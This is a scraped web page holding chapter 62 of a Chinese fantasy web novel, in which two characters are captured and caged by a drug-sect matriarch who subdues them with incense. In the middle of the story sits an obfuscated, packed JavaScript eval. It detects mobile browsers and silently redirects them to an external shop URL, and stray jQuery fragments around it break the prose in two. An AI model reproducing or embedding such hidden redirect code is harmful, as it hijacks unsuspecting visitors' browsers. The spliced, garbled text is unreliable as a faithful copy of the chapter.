文趣网 > 都市小说 > 我的辅佐对象必须当上掌门 > 62. 再次相逢
    殷离朱立刻沙化,管他三七二十一,直接跑。

    走得飞快,在地下不断穿梭,拱起的土堆就像是土拨鼠在打洞,留下一条长长的记号。

    行到一处,他突然感觉面前像是撞上了铁板,眼冒金星,头猛地被撞了一下。

    身下伸出来一双手,把殷离朱狠狠往下面拽。殷离朱挣扎着,这是他沙化行走这么长时间从未出现过的问题。

    对方似乎十分熟悉这沙化的功法。整个人柔弱无骨,殷离朱想要发力都没有地方可以下手。

    出拳打上去,对面格挡,并且还了一拳回来。一来一回就像是在玩回合制战斗游戏。也不说话,就一个劲擒拿。

    对方手法干脆,不断压缩空间,最后将殷离朱定格在一个小小的立方块内,抓在手里就走。

    殷离朱越是反抗,这个立方块收得越紧。

    没有鼻子,不需要呼吸。没有眼睛,黑暗中也能辨别方向。没有耳朵,四面八方的声音都可以听清楚。

    对方对殷离朱的招式了如指掌。这是一个看不清相貌、看不出背景的未知强悍对手,毫无弱点。

    地面的温度升高了,江试玉赶来。

    软骨人走了好几处地方,都被烫人的温度劝退了。见软骨人也无计可施,殷离朱看准时机准备挣脱方块禁制。

    软骨人像是背后也长了眼睛,狠狠捏了一把方块。

    一股活生生被人捏碎撕裂的强烈痛感贯彻殷离朱全身,这个软骨人真的要杀死自己!

    不是威胁,不是恐吓,是真的惹急了就要下杀手。

    江试玉终究不擅长土战,地下空间幽暗又局促,他全然施展不开。土块落下,江试玉被软骨人困在了原地,动弹不得。

    殷离朱眼睁睁看着江试玉在地下被软骨人耍得团团转,最后四面八方都是土刺,只要异动就会被扎成刺猬。

    软骨人也不恋战,困住江试玉后就带着殷离朱撤退了。

    近距离接触之下,殷离朱感受到这个软骨人并非天生如此,他外面套着一层类似盔甲的东西,这应该是专门的法宝。

    地下行走迅速,软骨人一路疾驰,最后直接在某处地面破土而出。

    房间内的人睁开眼睛,目光热切。

    “辛苦了,阿白。”苍老的声音传来,一个脸上布满褶皱的女子道。

    “母亲交付的任务,阿白已经完成。”徐生白道。

    女子点点头,徐生白就退下了。

    殷离朱见面前的女子朝自己靠近,口中还念念有词。一阵眩晕感袭来,脑袋中间某一处地方像是要裂开一样。

    殷离朱想让女子住嘴,奈何困在方格之中无法动弹。

    “你终于还是回来了,孩子。”女子停下了念咒,饱含热情地唤了一声。

    殷离朱听到这句话后,就陷入了沉睡。

    再次醒来,发现被关在一个巨大的笼子里,周围光线昏暗,应该是夜晚,小窗子没有什么光,只有远处两只快要燃尽的蜡烛。

    四下观察,摆件简单,除了笼子就是一个大香炉,里面燃烧着什么东西。

    殷离朱四肢无力,那咒语之后就是一场大梦。是啊,这样都说得通了,就是这样才对,就是这样才会是现在的局面。

    门打开,满脸皱纹的老宗主走了进来,手里拿着一捧香料,缓步走向香炉,添加了一点香,边添边道:“这个香好久没闻到了吧,不要忘了才好。”

    殷离朱闻到香味,就发觉了不对劲。但是来不及了,倒在地上开始抽搐起来。

    老宗主冷眼看着殷离朱痛苦挣扎:“需要一个适应过程,习惯了就好了。”她猛吸了一口香,发出满足的叹息。

    反反复复,殷离朱在这个香的作用下感知不到时间的流逝,只是睡了醒,醒了睡。

    门又开了,这回走进来的不止老宗主,还有另外一个人。

    殷离朱看着对面面无表情的江试玉,扯了扯嘴角打了个招呼:“又见面了啊。”

    躺在巨大的笼子里,吃喝拉撒都在同一块地方解决,身上散发着出汗湿掉又自然阴干的刺鼻味。

    江试玉转身质问老宗主:“这就是你说的帮他?”

    “不要紧张,他忘记太多而已,想起来就是这样的步骤。”老宗主道。

    “人我带走了。”江试玉道。

    “不行。”老宗主拒绝得十分快速。

    “说话不算话,你这是什么意思!非要我和你打一架吗!”江试玉不喜道。

    老宗主一打响指,后退一步,退到了门边。

    房间上空立刻降下一个更大的笼子,把江试玉罩在里面。笼子罩住了原来殷离朱的那个,两人在同一处空间,但是中间隔着一个笼子栏杆,无法近距离接触。

    “你在外面我还会忌惮几分,现在来了这儿哼哼......”老宗主得意道。

    “我手下的人知道我在这里,要是我出不去,到时候就算是药宗也别想讨到好果子吃。”江试玉道。

    “这就不牢你费心,阿白出来,给江城主看看。”老宗主话音刚落,徐生白就从门外走了进来,一半脸是江试玉,一半脸是他自己。

    “老巫婆,你竟然想让人假冒我!”江试玉手抓栏杆道。

    “徐师兄,亏我还叫你一声师兄,你竟然帮药宗这个巫婆!你从前教我的那些仁义礼智信都去哪里了?”江试玉看着徐生白痛心疾首道。

    “试玉,她是我母亲。”徐生白淡淡道。

    “那你同我说的那些都是骗我的?你说要处置何乾,还当年之事一个公道,都是假的吗?”江试玉朝着老宗主道。

    “哈哈哈哈哈哈,你觉得一个小小的药宗长老干的事情我会不知道?”老宗主像是在嘲笑江试玉的天真,一把把来往的书信抛向笼内。

    “检举何乾的事情,还需要你一个外人来做?我药宗内部,知道的人可不少!都是信了那套守旧的规则,从前隔三差五就有人来告诉我,但是像你这般天真的当真是少见。”

    “我们走,不打扰这二位了,你们好好享用吧。”老宗主点燃香炉里的香离开了。

    房门又被关上。

    昏暗光线中,江试玉那一侧比较亮,殷离朱这一侧处于暗处,江试玉贴近栏杆,伸出手,想要来摸殷离朱。

    “你......现在......原来是长成这样了。”江试玉道。

    殷离朱侧过头,不去看他。

    香味一出来,殷离朱就感到一丝不适,但经过前几次的提前适应,现在已经没有太大反应,可能是习惯了吧。

    又是饭点,外面狱卒和牢头用饭的香味飘进来。殷离朱的肚子开始咕噜咕噜叫了起来。

    已经被饿了好久了。

    “给我吃饭,我要吃饭,给我吃饭!”江试玉趴在牢笼最外侧的栏杆上,对着外面吼道。

    过了好久,牢笼外面这才来送饭。不过只有小小的一碗饭菜,就那点分量一个人吃都嫌少。

    江试玉自然接了过来,递给殷离朱:“有饭了,你吃。”

    殷离朱很饿,从来到这里就没有再进过食,又渴又饿。殷离朱看了一眼江试玉,倒是面色红润。

    “我不饿,你先吃,你比我早遭了这么多罪。”江试玉道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671362|203755||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>殷离朱也不客气,越是危险的环境下,越要保持自己的体力。

    一碗下肚,相当舒坦。就是殷离朱不爱吃这个绿叶菜,没有一点油水的菜简直是如同嚼蜡。

    江试玉接过碗,对着门外大吼道:“来人啊,我要吃饭!我要吃饭!我要吃饭听见没有!”

    反复嚷嚷,牢头不耐烦走进来:“不是给你们饭了吗?叫什么叫!”

    江试玉把碗往地上一砸,“就这点,都不够打发叫花子的!狗娘养的,怎么药宗现在连个人都养不起了,困在这里还不给饭吃?”

    好一出放下碗就骂娘的戏码,殷离朱在一旁看着江试玉一顿操作。

    江试玉突然一个弹射,手从牢笼里伸出去,抓住牢头的头发,“我要吃饭!我要吃饭!不给吃饭,我就把你啃了。”

    “救命,来人!犯人要逃了!”牢头呼喊,很快就来了帮手。

    其他狱卒抄起大棍就朝江试玉身上打,棍棒击打皮肉的声音沉闷交织。

    江试玉面不改色,甚至还想要把袭来的棍棒全部握住。

    狱卒换了鞭子,要来抽。

    江试玉把手里的牢头当做挡箭牌。牢头挡在前面挨了好几鞭。

    “吵吵嚷嚷些什么呢!上面说了关起来就好,谁叫你们苛责他们不给饭了,给口吃的让他们自己去吃。”另外一个牢头走来道。

    殷离朱在闭目静坐。

    又过了许久,这一回端上来的饭菜稍微像样一点,还有两碗,只是有些冷了。

    江试玉拿起筷子,把一个碗里的绿叶菜挑出来,把另一个碗里的肉放进去,然后把一碗上面摆满肉的饭端给殷离朱。

    “这次不错,肉给的挺多。”江试玉道。

    殷离朱睁开眼,就看见江试玉端着一碗肉,脸上还有横七竖八的鞭子印子,身上的衣服也被抽烂了,有些还能看见下面的微红的皮肤。

    殷离朱一哽。

    嘴上却道:“肉都冷了,吃什么吃。”

    江试玉挠了挠头:“将就点吧,这些人有点权力就摆谱,好歹也是肉。”

    “闹事得来的饭菜,都不知道那些人干什么了呢,我不要。”殷离朱道。

    江试玉收回手,转了过去。

    牢笼之内本来就没有太多空间,阳光也只能透过一扇极小的窗户照射进来,暗无天日的日子让人心情不佳。

    “你往旁边去一点,我想照太阳。”殷离朱道。

    外面一抹阳光顺着窗户照进来一点点,但是大多都在江试玉这边,殷离朱那一侧很少。

    “我这过去了,你也照不到啊,中间隔着栏杆呢。”江试玉道。

    虽然嘴上这么说,但是还是挪地方了。

    殷离朱正在感受稀少的阳光,突然感觉眼睛被人晃了一下。抬头看见一个大光圈,在眼睛上晃过,差点被亮瞎。

    “你在干什么!”殷离朱怒道。

    也是虎落平阳被犬欺,被关在这还要被江试玉当成玩物。

    “我在给你阳光啊,镜面照在你脸上好像被人打了一拳。”江试玉笑道。

    殷离朱转身离开阳光区域。幼稚死了,这人怎么这么无聊。

    “啊啊啊!”

    江试玉哀嚎的声音在笼子那一侧传来。

    殷离朱抬头,看见江试玉在地上打滚,双手捂住头,那副样子再熟悉不过了。

    什么时候?究竟是什么时候,为什么江试玉也会受药宗秘药的影响!

    殷离朱靠近笼子边缘,伸手去够江试玉。“江试玉,江试玉,你看着我。快点运功隔绝这个香味,不要让他侵蚀你的身体。”